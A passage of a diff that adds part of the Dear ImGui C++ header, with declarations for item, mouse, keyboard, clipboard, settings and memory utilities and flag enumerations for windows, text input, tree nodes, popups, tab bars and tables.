ImGuiHoveredFlags for more options. + IMGUI_API bool IsItemActive(); // is the last item active? (e.g. button being held, text field being edited. This will continuously return true while holding mouse button on an item. Items that don't interact will always return false) + IMGUI_API bool IsItemFocused(); // is the last item focused for keyboard/gamepad navigation? + IMGUI_API bool IsItemClicked(ImGuiMouseButton mouse_button = 0); // is the last item clicked? (e.g. button/node just clicked on) == IsMouseClicked(mouse_button) && IsItemHovered() + IMGUI_API bool IsItemVisible(); // is the last item visible? (items may be out of sight because of clipping/scrolling) + IMGUI_API bool IsItemEdited(); // did the last item modify its underlying value this frame? or was pressed? This is generally the same as the "bool" return value of many widgets. + IMGUI_API bool IsItemActivated(); // was the last item just made active (item was previously inactive). + IMGUI_API bool IsItemDeactivated(); // was the last item just made inactive (item was previously active). Useful for Undo/Redo patterns with widgets that requires continuous editing. + IMGUI_API bool IsItemDeactivatedAfterEdit(); // was the last item just made inactive and made a value change when it was active? (e.g. Slider/Drag moved). Useful for Undo/Redo patterns with widgets that requires continuous editing. Note that you may get false positives (some widgets such as Combo()/ListBox()/Selectable() will return true even when clicking an already selected item). + IMGUI_API bool IsItemToggledOpen(); // was the last item open state toggled? set by TreeNode(). + IMGUI_API bool IsAnyItemHovered(); // is any item hovered? + IMGUI_API bool IsAnyItemActive(); // is any item active? + IMGUI_API bool IsAnyItemFocused(); // is any item focused? + IMGUI_API ImVec2 GetItemRectMin(); // get upper-left bounding rectangle of the last item (screen space) + IMGUI_API ImVec2 GetItemRectMax(); // get lower-right bounding rectangle of the last item (screen space) + IMGUI_API ImVec2 GetItemRectSize(); // get size of last item + IMGUI_API void SetItemAllowOverlap(); // allow last item to be overlapped by a subsequent item. sometimes useful with invisible buttons, selectables, etc. to catch unused area. + + // Miscellaneous Utilities + IMGUI_API bool IsRectVisible(const ImVec2& size); // test if rectangle (of given size, starting from cursor position) is visible / not clipped. + IMGUI_API bool IsRectVisible(const ImVec2& rect_min, const ImVec2& rect_max); // test if rectangle (in screen space) is visible / not clipped. to perform coarse clipping on user's side. + IMGUI_API double GetTime(); // get global imgui time. incremented by io.DeltaTime every frame. + IMGUI_API int GetFrameCount(); // get global imgui frame count. incremented by 1 every frame. + IMGUI_API ImDrawList* GetBackgroundDrawList(); // this draw list will be the first rendering one. Useful to quickly draw shapes/text behind dear imgui contents. + IMGUI_API ImDrawList* GetForegroundDrawList(); // this draw list will be the last rendered one. Useful to quickly draw shapes/text over dear imgui contents. + IMGUI_API ImDrawListSharedData* GetDrawListSharedData(); // you may use this when creating your own ImDrawList instances. + IMGUI_API const char* GetStyleColorName(ImGuiCol idx); // get a string corresponding to the enum value (for display, saving, etc.). + IMGUI_API void SetStateStorage(ImGuiStorage* storage); // replace current window storage with our own (if you want to manipulate it yourself, typically clear subsection of it) + IMGUI_API ImGuiStorage* GetStateStorage(); + IMGUI_API void CalcListClipping(int items_count, float items_height, int* out_items_display_start, int* out_items_display_end); // calculate coarse clipping for large list of evenly sized items. Prefer using the ImGuiListClipper higher-level helper if you can. + IMGUI_API bool BeginChildFrame(ImGuiID id, const ImVec2& size, ImGuiWindowFlags flags = 0); // helper to create a child window / scrolling region that looks like a normal widget frame + IMGUI_API void EndChildFrame(); // always call EndChildFrame() regardless of BeginChildFrame() return values (which indicates a collapsed/clipped window) + + // Text Utilities + IMGUI_API ImVec2 CalcTextSize(const char* text, const char* text_end = NULL, bool hide_text_after_double_hash = false, float wrap_width = -1.0f); + + // Color Utilities + IMGUI_API ImVec4 ColorConvertU32ToFloat4(ImU32 in); + IMGUI_API ImU32 ColorConvertFloat4ToU32(const ImVec4& in); + IMGUI_API void ColorConvertRGBtoHSV(float r, float g, float b, float& out_h, float& out_s, float& out_v); + IMGUI_API void ColorConvertHSVtoRGB(float h, float s, float v, float& out_r, float& out_g, float& out_b); + + // Inputs Utilities: Keyboard + // - For 'int user_key_index' you can use your own indices/enums according to how your backend/engine stored them in io.KeysDown[]. + // - We don't know the meaning of those value. You can use GetKeyIndex() to map a ImGuiKey_ value into the user index. + IMGUI_API int GetKeyIndex(ImGuiKey imgui_key); // map ImGuiKey_* values into user's key index. == io.KeyMap[key] + IMGUI_API bool IsKeyDown(int user_key_index); // is key being held. == io.KeysDown[user_key_index]. + IMGUI_API bool IsKeyPressed(int user_key_index, bool repeat = true); // was key pressed (went from !Down to Down)? if repeat=true, uses io.KeyRepeatDelay / KeyRepeatRate + IMGUI_API bool IsKeyReleased(int user_key_index); // was key released (went from Down to !Down)? + IMGUI_API int GetKeyPressedAmount(int key_index, float repeat_delay, float rate); // uses provided repeat rate/delay. return a count, most often 0 or 1 but might be >1 if RepeatRate is small enough that DeltaTime > RepeatRate + IMGUI_API void CaptureKeyboardFromApp(bool want_capture_keyboard_value = true); // attention: misleading name! manually override io.WantCaptureKeyboard flag next frame (said flag is entirely left for your application to handle). e.g. force capture keyboard when your widget is being hovered. This is equivalent to setting "io.WantCaptureKeyboard = want_capture_keyboard_value"; after the next NewFrame() call. + + // Inputs Utilities: Mouse + // - To refer to a mouse button, you may use named enums in your code e.g. ImGuiMouseButton_Left, ImGuiMouseButton_Right. + // - You can also use regular integer: it is forever guaranteed that 0=Left, 1=Right, 2=Middle. + // - Dragging operations are only reported after mouse has moved a certain distance away from the initial clicking position (see 'lock_threshold' and 'io.MouseDraggingThreshold') + IMGUI_API bool IsMouseDown(ImGuiMouseButton button); // is mouse button held? + IMGUI_API bool IsMouseClicked(ImGuiMouseButton button, bool repeat = false); // did mouse button clicked? (went from !Down to Down) + IMGUI_API bool IsMouseReleased(ImGuiMouseButton button); // did mouse button released? (went from Down to !Down) + IMGUI_API bool IsMouseDoubleClicked(ImGuiMouseButton button); // did mouse button double-clicked? (note that a double-click will also report IsMouseClicked() == true) + IMGUI_API bool IsMouseHoveringRect(const ImVec2& r_min, const ImVec2& r_max, bool clip = true);// is mouse hovering given bounding rect (in screen space). clipped by current clipping settings, but disregarding of other consideration of focus/window ordering/popup-block. + IMGUI_API bool IsMousePosValid(const ImVec2* mouse_pos = NULL); // by convention we use (-FLT_MAX,-FLT_MAX) to denote that there is no mouse available + IMGUI_API bool IsAnyMouseDown(); // is any mouse button held? + IMGUI_API ImVec2 GetMousePos(); // shortcut to ImGui::GetIO().MousePos provided by user, to be consistent with other calls + IMGUI_API ImVec2 GetMousePosOnOpeningCurrentPopup(); // retrieve mouse position at the time of opening popup we have BeginPopup() into (helper to avoid user backing that value themselves) + IMGUI_API bool IsMouseDragging(ImGuiMouseButton button, float lock_threshold = -1.0f); // is mouse dragging? (if lock_threshold < -1.0f, uses io.MouseDraggingThreshold) + IMGUI_API ImVec2 GetMouseDragDelta(ImGuiMouseButton button = 0, float lock_threshold = -1.0f); // return the delta from the initial clicking position while the mouse button is pressed or was just released. This is locked and return 0.0f until the mouse moves past a distance threshold at least once (if lock_threshold < -1.0f, uses io.MouseDraggingThreshold) + IMGUI_API void ResetMouseDragDelta(ImGuiMouseButton button = 0); // + IMGUI_API ImGuiMouseCursor GetMouseCursor(); // get desired cursor type, reset in ImGui::NewFrame(), this is updated during the frame. valid before Render(). If you use software rendering by setting io.MouseDrawCursor ImGui will render those for you + IMGUI_API void SetMouseCursor(ImGuiMouseCursor cursor_type); // set desired cursor type + IMGUI_API void CaptureMouseFromApp(bool want_capture_mouse_value = true); // attention: misleading name! manually override io.WantCaptureMouse flag next frame (said flag is entirely left for your application to handle). This is equivalent to setting "io.WantCaptureMouse = want_capture_mouse_value;" after the next NewFrame() call. + + // Clipboard Utilities + // - Also see the LogToClipboard() function to capture GUI into clipboard, or easily output text data to the clipboard. + IMGUI_API const char* GetClipboardText(); + IMGUI_API void SetClipboardText(const char* text); + + // Settings/.Ini Utilities + // - The disk functions are automatically called if io.IniFilename != NULL (default is "imgui.ini"). + // - Set io.IniFilename to NULL to load/save manually. Read io.WantSaveIniSettings description about handling .ini saving manually. + IMGUI_API void LoadIniSettingsFromDisk(const char* ini_filename); // call after CreateContext() and before the first call to NewFrame(). NewFrame() automatically calls LoadIniSettingsFromDisk(io.IniFilename). + IMGUI_API void LoadIniSettingsFromMemory(const char* ini_data, size_t ini_size=0); // call after CreateContext() and before the first call to NewFrame() to provide .ini data from your own data source. + IMGUI_API void SaveIniSettingsToDisk(const char* ini_filename); // this is automatically called (if io.IniFilename is not empty) a few seconds after any modification that should be reflected in the .ini file (and also by DestroyContext). + IMGUI_API const char* SaveIniSettingsToMemory(size_t* out_ini_size = NULL); // return a zero-terminated string with the .ini data which you can save by your own mean. call when io.WantSaveIniSettings is set, then save data by your own mean and clear io.WantSaveIniSettings. + + // Debug Utilities + IMGUI_API bool DebugCheckVersionAndDataLayout(const char* version_str, size_t sz_io, size_t sz_style, size_t sz_vec2, size_t sz_vec4, size_t sz_drawvert, size_t sz_drawidx); // This is called by IMGUI_CHECKVERSION() macro. + + // Memory Allocators + // - All those functions are not reliant on the current context. + // - If you reload the contents of imgui.cpp at runtime, you may need to call SetCurrentContext() + SetAllocatorFunctions() again because we use global storage for those. + IMGUI_API void SetAllocatorFunctions(void* (*alloc_func)(size_t sz, void* user_data), void (*free_func)(void* ptr, void* user_data), void* user_data = NULL); + IMGUI_API void* MemAlloc(size_t size); + IMGUI_API void MemFree(void* ptr); + +} // namespace ImGui + +//----------------------------------------------------------------------------- +// [SECTION] Flags & Enumerations +//----------------------------------------------------------------------------- + +// Flags for ImGui::Begin() +enum ImGuiWindowFlags_ +{ + ImGuiWindowFlags_None = 0, + ImGuiWindowFlags_NoTitleBar = 1 << 0, // Disable title-bar + ImGuiWindowFlags_NoResize = 1 << 1, // Disable user resizing with the lower-right grip + ImGuiWindowFlags_NoMove = 1 << 2, // Disable user moving the window + ImGuiWindowFlags_NoScrollbar = 1 << 3, // Disable scrollbars (window can still scroll with mouse or programmatically) + ImGuiWindowFlags_NoScrollWithMouse = 1 << 4, // Disable user vertically scrolling with mouse wheel. On child window, mouse wheel will be forwarded to the parent unless NoScrollbar is also set. + ImGuiWindowFlags_NoCollapse = 1 << 5, // Disable user collapsing window by double-clicking on it + ImGuiWindowFlags_AlwaysAutoResize = 1 << 6, // Resize every window to its content every frame + ImGuiWindowFlags_NoBackground = 1 << 7, // Disable drawing background color (WindowBg, etc.) and outside border. Similar as using SetNextWindowBgAlpha(0.0f). + ImGuiWindowFlags_NoSavedSettings = 1 << 8, // Never load/save settings in .ini file + ImGuiWindowFlags_NoMouseInputs = 1 << 9, // Disable catching mouse, hovering test with pass through. + ImGuiWindowFlags_MenuBar = 1 << 10, // Has a menu-bar + ImGuiWindowFlags_HorizontalScrollbar = 1 << 11, // Allow horizontal scrollbar to appear (off by default). You may use SetNextWindowContentSize(ImVec2(width,0.0f)); prior to calling Begin() to specify width. Read code in imgui_demo in the "Horizontal Scrolling" section. + ImGuiWindowFlags_NoFocusOnAppearing = 1 << 12, // Disable taking focus when transitioning from hidden to visible state + ImGuiWindowFlags_NoBringToFrontOnFocus = 1 << 13, // Disable bringing window to front when taking focus (e.g. clicking on it or programmatically giving it focus) + ImGuiWindowFlags_AlwaysVerticalScrollbar= 1 << 14, // Always show vertical scrollbar (even if ContentSize.y < Size.y) + ImGuiWindowFlags_AlwaysHorizontalScrollbar=1<< 15, // Always show horizontal scrollbar (even if ContentSize.x < Size.x) + ImGuiWindowFlags_AlwaysUseWindowPadding = 1 << 16, // Ensure child windows without border uses style.WindowPadding (ignored by default for non-bordered child windows, because more convenient) + ImGuiWindowFlags_NoNavInputs = 1 << 18, // No gamepad/keyboard navigation within the window + ImGuiWindowFlags_NoNavFocus = 1 << 19, // No focusing toward this window with gamepad/keyboard navigation (e.g. skipped by CTRL+TAB) + ImGuiWindowFlags_UnsavedDocument = 1 << 20, // Append '*' to title without affecting the ID, as a convenience to avoid using the ### operator. When used in a tab/docking context, tab is selected on closure and closure is deferred by one frame to allow code to cancel the closure (with a confirmation popup, etc.) without flicker. + ImGuiWindowFlags_NoNav = ImGuiWindowFlags_NoNavInputs | ImGuiWindowFlags_NoNavFocus, + ImGuiWindowFlags_NoDecoration = ImGuiWindowFlags_NoTitleBar | ImGuiWindowFlags_NoResize | ImGuiWindowFlags_NoScrollbar | ImGuiWindowFlags_NoCollapse, + ImGuiWindowFlags_NoInputs = ImGuiWindowFlags_NoMouseInputs | ImGuiWindowFlags_NoNavInputs | ImGuiWindowFlags_NoNavFocus, + + // [Internal] + ImGuiWindowFlags_NavFlattened = 1 << 23, // [BETA] Allow gamepad/keyboard navigation to cross over parent border to this child (only use on child that have no scrolling!) + ImGuiWindowFlags_ChildWindow = 1 << 24, // Don't use! For internal use by BeginChild() + ImGuiWindowFlags_Tooltip = 1 << 25, // Don't use! For internal use by BeginTooltip() + ImGuiWindowFlags_Popup = 1 << 26, // Don't use! For internal use by BeginPopup() + ImGuiWindowFlags_Modal = 1 << 27, // Don't use! For internal use by BeginPopupModal() + ImGuiWindowFlags_ChildMenu = 1 << 28 // Don't use! For internal use by BeginMenu() + + // [Obsolete] + //ImGuiWindowFlags_ResizeFromAnySide = 1 << 17, // --> Set io.ConfigWindowsResizeFromEdges=true and make sure mouse cursors are supported by backend (io.BackendFlags & ImGuiBackendFlags_HasMouseCursors) +}; + +// Flags for ImGui::InputText() +enum ImGuiInputTextFlags_ +{ + ImGuiInputTextFlags_None = 0, + ImGuiInputTextFlags_CharsDecimal = 1 << 0, // Allow 0123456789.+-*/ + ImGuiInputTextFlags_CharsHexadecimal = 1 << 1, // Allow 0123456789ABCDEFabcdef + ImGuiInputTextFlags_CharsUppercase = 1 << 2, // Turn a..z into A..Z + ImGuiInputTextFlags_CharsNoBlank = 1 << 3, // Filter out spaces, tabs + ImGuiInputTextFlags_AutoSelectAll = 1 << 4, // Select entire text when first taking mouse focus + ImGuiInputTextFlags_EnterReturnsTrue = 1 << 5, // Return 'true' when Enter is pressed (as opposed to every time the value was modified). Consider looking at the IsItemDeactivatedAfterEdit() function. + ImGuiInputTextFlags_CallbackCompletion = 1 << 6, // Callback on pressing TAB (for completion handling) + ImGuiInputTextFlags_CallbackHistory = 1 << 7, // Callback on pressing Up/Down arrows (for history handling) + ImGuiInputTextFlags_CallbackAlways = 1 << 8, // Callback on each iteration. User code may query cursor position, modify text buffer. + ImGuiInputTextFlags_CallbackCharFilter = 1 << 9, // Callback on character inputs to replace or discard them. Modify 'EventChar' to replace or discard, or return 1 in callback to discard. + ImGuiInputTextFlags_AllowTabInput = 1 << 10, // Pressing TAB input a '\t' character into the text field + ImGuiInputTextFlags_CtrlEnterForNewLine = 1 << 11, // In multi-line mode, unfocus with Enter, add new line with Ctrl+Enter (default is opposite: unfocus with Ctrl+Enter, add line with Enter). + ImGuiInputTextFlags_NoHorizontalScroll = 1 << 12, // Disable following the cursor horizontally + ImGuiInputTextFlags_AlwaysInsertMode = 1 << 13, // Insert mode + ImGuiInputTextFlags_ReadOnly = 1 << 14, // Read-only mode + ImGuiInputTextFlags_Password = 1 << 15, // Password mode, display all characters as '*' + ImGuiInputTextFlags_NoUndoRedo = 1 << 16, // Disable undo/redo. Note that input text owns the text data while active, if you want to provide your own undo/redo stack you need e.g. to call ClearActiveID(). + ImGuiInputTextFlags_CharsScientific = 1 << 17, // Allow 0123456789.+-*/eE (Scientific notation input) + ImGuiInputTextFlags_CallbackResize = 1 << 18, // Callback on buffer capacity changes request (beyond 'buf_size' parameter value), allowing the string to grow. Notify when the string wants to be resized (for string types which hold a cache of their Size). You will be provided a new BufSize in the callback and NEED to honor it. (see misc/cpp/imgui_stdlib.h for an example of using this) + ImGuiInputTextFlags_CallbackEdit = 1 << 19, // Callback on any edit (note that InputText() already returns true on edit, the callback is useful mainly to manipulate the underlying buffer while focus is active) + // [Internal] + ImGuiInputTextFlags_Multiline = 1 << 20, // For internal use by InputTextMultiline() + ImGuiInputTextFlags_NoMarkEdited = 1 << 21 // For internal use by functions using InputText() before reformatting data +}; + +// Flags for ImGui::TreeNodeEx(), ImGui::CollapsingHeader*() +enum ImGuiTreeNodeFlags_ +{ + ImGuiTreeNodeFlags_None = 0, + ImGuiTreeNodeFlags_Selected = 1 << 0, // Draw as selected + ImGuiTreeNodeFlags_Framed = 1 << 1, // Draw frame with background (e.g. for CollapsingHeader) + ImGuiTreeNodeFlags_AllowItemOverlap = 1 << 2, // Hit testing to allow subsequent widgets to overlap this one + ImGuiTreeNodeFlags_NoTreePushOnOpen = 1 << 3, // Don't do a TreePush() when open (e.g. for CollapsingHeader) = no extra indent nor pushing on ID stack + ImGuiTreeNodeFlags_NoAutoOpenOnLog = 1 << 4, // Don't automatically and temporarily open node when Logging is active (by default logging will automatically open tree nodes) + ImGuiTreeNodeFlags_DefaultOpen = 1 << 5, // Default node to be open + ImGuiTreeNodeFlags_OpenOnDoubleClick = 1 << 6, // Need double-click to open node + ImGuiTreeNodeFlags_OpenOnArrow = 1 << 7, // Only open when clicking on the arrow part. If ImGuiTreeNodeFlags_OpenOnDoubleClick is also set, single-click arrow or double-click all box to open. + ImGuiTreeNodeFlags_Leaf = 1 << 8, // No collapsing, no arrow (use as a convenience for leaf nodes). + ImGuiTreeNodeFlags_Bullet = 1 << 9, // Display a bullet instead of arrow + ImGuiTreeNodeFlags_FramePadding = 1 << 10, // Use FramePadding (even for an unframed text node) to vertically align text baseline to regular widget height. Equivalent to calling AlignTextToFramePadding(). + ImGuiTreeNodeFlags_SpanAvailWidth = 1 << 11, // Extend hit box to the right-most edge, even if not framed. This is not the default in order to allow adding other items on the same line. In the future we may refactor the hit system to be front-to-back, allowing natural overlaps and then this can become the default. + ImGuiTreeNodeFlags_SpanFullWidth = 1 << 12, // Extend hit box to the left-most and right-most edges (bypass the indented area). + ImGuiTreeNodeFlags_NavLeftJumpsBackHere = 1 << 13, // (WIP) Nav: left direction may move to this TreeNode() from any of its child (items submitted between TreeNode and TreePop) + //ImGuiTreeNodeFlags_NoScrollOnOpen = 1 << 14, // FIXME: TODO: Disable automatic scroll on TreePop() if node got just open and contents is not visible + ImGuiTreeNodeFlags_CollapsingHeader = ImGuiTreeNodeFlags_Framed | ImGuiTreeNodeFlags_NoTreePushOnOpen | ImGuiTreeNodeFlags_NoAutoOpenOnLog +}; + +// Flags for OpenPopup*(), BeginPopupContext*(), IsPopupOpen() functions. +// - To be backward compatible with older API which took an 'int mouse_button = 1' argument, we need to treat +// small flags values as a mouse button index, so we encode the mouse button in the first few bits of the flags. +// It is therefore guaranteed to be legal to pass a mouse button index in ImGuiPopupFlags. +// - For the same reason, we exceptionally default the ImGuiPopupFlags argument of BeginPopupContextXXX functions to 1 instead of 0. +// IMPORTANT: because the default parameter is 1 (==ImGuiPopupFlags_MouseButtonRight), if you rely on the default parameter +// and want to another another flag, you need to pass in the ImGuiPopupFlags_MouseButtonRight flag. +// - Multiple buttons currently cannot be combined/or-ed in those functions (we could allow it later). +enum ImGuiPopupFlags_ +{ + ImGuiPopupFlags_None = 0, + ImGuiPopupFlags_MouseButtonLeft = 0, // For BeginPopupContext*(): open on Left Mouse release. Guaranteed to always be == 0 (same as ImGuiMouseButton_Left) + ImGuiPopupFlags_MouseButtonRight = 1, // For BeginPopupContext*(): open on Right Mouse release. Guaranteed to always be == 1 (same as ImGuiMouseButton_Right) + ImGuiPopupFlags_MouseButtonMiddle = 2, // For BeginPopupContext*(): open on Middle Mouse release. Guaranteed to always be == 2 (same as ImGuiMouseButton_Middle) + ImGuiPopupFlags_MouseButtonMask_ = 0x1F, + ImGuiPopupFlags_MouseButtonDefault_ = 1, + ImGuiPopupFlags_NoOpenOverExistingPopup = 1 << 5, // For OpenPopup*(), BeginPopupContext*(): don't open if there's already a popup at the same level of the popup stack + ImGuiPopupFlags_NoOpenOverItems = 1 << 6, // For BeginPopupContextWindow(): don't return true when hovering items, only when hovering empty space + ImGuiPopupFlags_AnyPopupId = 1 << 7, // For IsPopupOpen(): ignore the ImGuiID parameter and test for any popup. + ImGuiPopupFlags_AnyPopupLevel = 1 << 8, // For IsPopupOpen(): search/test at any level of the popup stack (default test in the current level) + ImGuiPopupFlags_AnyPopup = ImGuiPopupFlags_AnyPopupId | ImGuiPopupFlags_AnyPopupLevel +}; + +// Flags for ImGui::Selectable() +enum ImGuiSelectableFlags_ +{ + ImGuiSelectableFlags_None = 0, + ImGuiSelectableFlags_DontClosePopups = 1 << 0, // Clicking this don't close parent popup window + ImGuiSelectableFlags_SpanAllColumns = 1 << 1, // Selectable frame can span all columns (text will still fit in current column) + ImGuiSelectableFlags_AllowDoubleClick = 1 << 2, // Generate press events on double clicks too + ImGuiSelectableFlags_Disabled = 1 << 3, // Cannot be selected, display grayed out text + ImGuiSelectableFlags_AllowItemOverlap = 1 << 4 // (WIP) Hit testing to allow subsequent widgets to overlap this one +}; + +// Flags for ImGui::BeginCombo() +enum ImGuiComboFlags_ +{ + ImGuiComboFlags_None = 0, + ImGuiComboFlags_PopupAlignLeft = 1 << 0, // Align the popup toward the left by default + ImGuiComboFlags_HeightSmall = 1 << 1, // Max ~4 items visible. Tip: If you want your combo popup to be a specific size you can use SetNextWindowSizeConstraints() prior to calling BeginCombo() + ImGuiComboFlags_HeightRegular = 1 << 2, // Max ~8 items visible (default) + ImGuiComboFlags_HeightLarge = 1 << 3, // Max ~20 items visible + ImGuiComboFlags_HeightLargest = 1 << 4, // As many fitting items as possible + ImGuiComboFlags_NoArrowButton = 1 << 5, // Display on the preview box without the square arrow button + ImGuiComboFlags_NoPreview = 1 << 6, // Display only a square arrow button + ImGuiComboFlags_HeightMask_ = ImGuiComboFlags_HeightSmall | ImGuiComboFlags_HeightRegular | ImGuiComboFlags_HeightLarge | ImGuiComboFlags_HeightLargest +}; + +// Flags for ImGui::BeginTabBar() +enum ImGuiTabBarFlags_ +{ + ImGuiTabBarFlags_None = 0, + ImGuiTabBarFlags_Reorderable = 1 << 0, // Allow manually dragging tabs to re-order them + New tabs are appended at the end of list + ImGuiTabBarFlags_AutoSelectNewTabs = 1 << 1, // Automatically select new tabs when they appear + ImGuiTabBarFlags_TabListPopupButton = 1 << 2, // Disable buttons to open the tab list popup + ImGuiTabBarFlags_NoCloseWithMiddleMouseButton = 1 << 3, // Disable behavior of closing tabs (that are submitted with p_open != NULL) with middle mouse button. You can still repro this behavior on user's side with if (IsItemHovered() && IsMouseClicked(2)) *p_open = false. + ImGuiTabBarFlags_NoTabListScrollingButtons = 1 << 4, // Disable scrolling buttons (apply when fitting policy is ImGuiTabBarFlags_FittingPolicyScroll) + ImGuiTabBarFlags_NoTooltip = 1 << 5, // Disable tooltips when hovering a tab + ImGuiTabBarFlags_FittingPolicyResizeDown = 1 << 6, // Resize tabs when they don't fit + ImGuiTabBarFlags_FittingPolicyScroll = 1 << 7, // Add scroll buttons when tabs don't fit + ImGuiTabBarFlags_FittingPolicyMask_ = ImGuiTabBarFlags_FittingPolicyResizeDown | ImGuiTabBarFlags_FittingPolicyScroll, + ImGuiTabBarFlags_FittingPolicyDefault_ = ImGuiTabBarFlags_FittingPolicyResizeDown +}; + +// Flags for ImGui::BeginTabItem() +enum ImGuiTabItemFlags_ +{ + ImGuiTabItemFlags_None = 0, + ImGuiTabItemFlags_UnsavedDocument = 1 << 0, // Append '*' to title without affecting the ID, as a convenience to avoid using the ### operator. Also: tab is selected on closure and closure is deferred by one frame to allow code to undo it without flicker. + ImGuiTabItemFlags_SetSelected = 1 << 1, // Trigger flag to programmatically make the tab selected when calling BeginTabItem() + ImGuiTabItemFlags_NoCloseWithMiddleMouseButton = 1 << 2, // Disable behavior of closing tabs (that are submitted with p_open != NULL) with middle mouse button. You can still repro this behavior on user's side with if (IsItemHovered() && IsMouseClicked(2)) *p_open = false. + ImGuiTabItemFlags_NoPushId = 1 << 3, // Don't call PushID(tab->ID)/PopID() on BeginTabItem()/EndTabItem() + ImGuiTabItemFlags_NoTooltip = 1 << 4, // Disable tooltip for the given tab + ImGuiTabItemFlags_NoReorder = 1 << 5, // Disable reordering this tab or having another tab cross over this tab + ImGuiTabItemFlags_Leading = 1 << 6, // Enforce the tab position to the left of the tab bar (after the tab list popup button) + ImGuiTabItemFlags_Trailing = 1 << 7 // Enforce the tab position to the right of the tab bar (before the scrolling buttons) +}; + +// Flags for ImGui::BeginTable() +// - Important! Sizing policies have complex and subtle side effects, more so than you would expect. +// Read comments/demos carefully + experiment with live demos to get acquainted with them. +// - The DEFAULT policy depends on whether the _ScrollX flag is set on the table, and whether _AlwaysAutoResize flag is set on window. +// - ImGuiTableFlags_SizingPolicyStretch is the default if ScrollX if off. +// - ImGuiTableFlags_SizingPolicyFixed is the default if ScrollX is on, or if host window has ImGuiWindowFlags_AlwaysAutoResize. +// - When ScrollX is off: +// - Table defaults to ImGuiTableFlags_SizingPolicyStretch -> all Columns defaults to ImGuiTableColumnFlags_WidthStretch. +// - Columns sizing policy allowed: Stretch (default), Fixed/Auto. +// - Fixed Columns will generally obtain their requested width (unless the table cannot fit them all). +// - Stretch Columns will share the remaining width. +// - Mixed Fixed/Stretch columns is possible but has various side-effects on resizing behaviors. +// The typical use of mixing sizing policies is: any number of LEADING Fixed columns, followed by one or two TRAILING Stretch columns. +// (this is because the visible order of columns have subtle but necessary effects on how they react to manual resizing). +// - When ScrollX is on: +// - Table defaults to ImGuiTableFlags_SizingPolicyFixed -> all Columns defaults to ImGuiTableColumnFlags_WidthFixed or ImGuiTableColumnFlags_WidthAuto. +// - Columns sizing policy allowed: Fixed/Auto mostly. +// - Fixed Columns can be enlarged as needed. Table will show an horizontal scrollbar if needed. +// - Using Stretch columns OFTEN DOES NOT MAKE SENSE if ScrollX is on, UNLESS you have specified a value for 'inner_width' in BeginTable(). +// If you specify a value for 'inner_width' then effectively the scrolling space is known and Stretch or mixed Fixed/Stretch columns become meaningful again. +// - Read on documentation at the top of imgui_tables.cpp for details. +enum ImGuiTableFlags_ +{ + // Features + ImGuiTableFlags_None = 0, + ImGuiTableFlags_Resizable = 1 << 0, // Enable resizing columns. + ImGuiTableFlags_Reorderable = 1 << 1, // Enable reordering columns in header row (need calling TableSetupColumn() + TableHeadersRow() to display headers) + ImGuiTableFlags_Hideable = 1 << 2, // Enable hiding/disabling columns in context menu. + ImGuiTableFlags_Sortable = 1 << 3, // Enable sorting. Call TableGetSortSpecs() to obtain sort specs. Also see ImGuiTableFlags_SortMulti and ImGuiTableFlags_SortTristate. + ImGuiTableFlags_NoSavedSettings = 1 << 4, // Disable persisting columns order, width and sort settings in the .ini file. + ImGuiTableFlags_ContextMenuInBody = 1 << 5, // Right-click on columns body/contents will display table context menu. By default it is available in TableHeadersRow(). + // Decorations + ImGuiTableFlags_RowBg = 1 << 6, // Set each RowBg color with ImGuiCol_TableRowBg or ImGuiCol_TableRowBgAlt (equivalent of calling TableSetBgColor with ImGuiTableBgFlags_RowBg0 on each row manually) + ImGuiTableFlags_BordersInnerH = 1 << 7, // Draw horizontal borders between rows. + ImGuiTableFlags_BordersOuterH = 1 << 8, // Draw horizontal borders at the top and bottom. + ImGuiTableFlags_BordersInnerV = 1 << 9, // Draw vertical borders between columns. + ImGuiTableFlags_BordersOuterV = 1 << 10, // Draw vertical borders on the left and right sides. + ImGuiTableFlags_BordersH = ImGuiTableFlags_BordersInnerH | ImGuiTableFlags_BordersOuterH, // Draw horizontal borders. + ImGuiTableFlags_BordersV = ImGuiTableFlags_BordersInnerV | ImGuiTableFlags_BordersOuterV, // Draw vertical borders. + ImGuiTableFlags_BordersInner = ImGuiTableFlags_BordersInnerV | ImGuiTableFlags_BordersInnerH, // Draw inner borders. + ImGuiTableFlags_BordersOuter = ImGuiTableFlags_BordersOuterV | ImGuiTableFlags_BordersOuterH, // Draw outer borders. + ImGuiTableFlags_Borders = ImGuiTableFlags_BordersInner | ImGuiTableFlags_BordersOuter, // Draw all borders. + ImGuiTableFlags_NoBordersInBody = 1 << 11, // [ALPHA] Disable vertical borders in columns Body (borders will always appears in Headers). -> May move to style + ImGuiTableFlags_NoBordersInBodyUntilResize = 1 << 12, // [ALPHA] Disable vertical borders in columns Body until hovered for resize (borders will always appears in Headers). -> May move to style + // Sizing Policy + ImGuiTableFlags_SizingPolicyFixed = 1 << 13, // [Default if ScrollX is on] Columns default to _WidthFixed (if resizable) or _WidthAuto (if not resizable), matching contents width. + ImGuiTableFlags_SizingPolicyStretch = 1 << 14, // [Default if ScrollX is off] Columns default to _WidthStretch with same weights. + // Sizing Extra Options + ImGuiTableFlags_SameWidths = 1 << 15, // Make all columns the same widths which is useful with Fixed columns policy (but granted by default with Stretch policy + no resize). Implicitly enable ImGuiTableFlags_NoKeepColumnsVisible and disable ImGuiTableFlags_Resizable. + ImGuiTableFlags_NoHostExtendY = 1 << 16, // Disable extending table past the limit set by outer_size.y. Only meaningful when neither ScrollX nor ScrollY are set (data below the limit will be clipped and not visible) + ImGuiTableFlags_NoKeepColumnsVisible = 1 << 17, // Disable keeping column always minimally visible when ScrollX is off and table gets too small. Not recommended if columns are resizable. + ImGuiTableFlags_PreciseWidths = 1 << 18, // Disable distributing remainder width to stretched columns (width allocation on a 100-wide table with 3 columns: Without this flag: 33,33,34. With this flag: 33,33,33). With larger number of columns, resizing will appear to be less smooth. + // Clipping + ImGuiTableFlags_NoClip = 1 << 19, // Disable clipping rectangle for every individual columns (reduce draw command count, items will be able to overflow into other columns). Generally incompatible with TableSetupScrollFreeze(). + // Padding + ImGuiTableFlags_PadOuterX = 1 << 20, // Default if BordersOuterV is on. Enable outer-most padding. + ImGuiTableFlags_NoPadOuterX = 1 << 21, // Default if BordersOuterV is off. Disable outer-most padding. + ImGuiTableFlags_NoPadInnerX = 1 << 22, // Disable inner padding between columns (double inner padding if BordersOuterV is on, single inner padding if BordersOuterV is off). + // Scrolling + ImGuiTableFlags_ScrollX = 1 << 23, // Enable horizontal scrolling. Require 'outer_size' parameter of BeginTable() to specify the container size. Changes default sizing policy. Because this 